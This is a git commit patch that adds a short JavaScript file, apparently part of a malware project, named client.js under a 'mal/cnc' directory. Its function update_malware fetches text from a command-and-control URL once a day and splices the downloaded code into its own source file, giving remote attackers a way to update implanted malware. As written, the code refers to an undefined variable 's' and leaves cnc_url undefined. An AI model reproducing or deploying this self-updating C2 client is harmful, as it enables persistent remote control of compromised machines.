From e2d1d18715a7c5b80cce02a96b09a5d57de38072 Mon Sep 17 00:00:00 2001 From: spv Date: Sun, 4 May 2025 20:12:34 -0400 Subject: flawless victory --- inf/mal/cnc/client.js | 15 +++++++++++++++ 1 file changed, 15 insertions(+) create mode 100644 inf/mal/cnc/client.js (limited to 'inf/mal/cnc/client.js') diff --git a/inf/mal/cnc/client.js b/inf/mal/cnc/client.js new file mode 100644 index 0000000..7fddde7 --- /dev/null +++ b/inf/mal/cnc/client.js @@ -0,0 +1,15 @@ +function update_malware() { + fs.stat(module.filename, (err, stats) => { + if ((new Date() - (s.mtimeMs)) > (86400*1000)) { + fetch(cnc_url).then((v) => { + v.text().then((t) => { + let fc = fs.readFileSync(module.filename, "utf8"); + fc = fc.replace(sentinel_pwn(), t); + fs.writeFileSync(module.filename, fc); + }) + }).catch((e) => { + // ignore. + }); + } + }); +} \ No newline at end of file -- cgit v1.2.3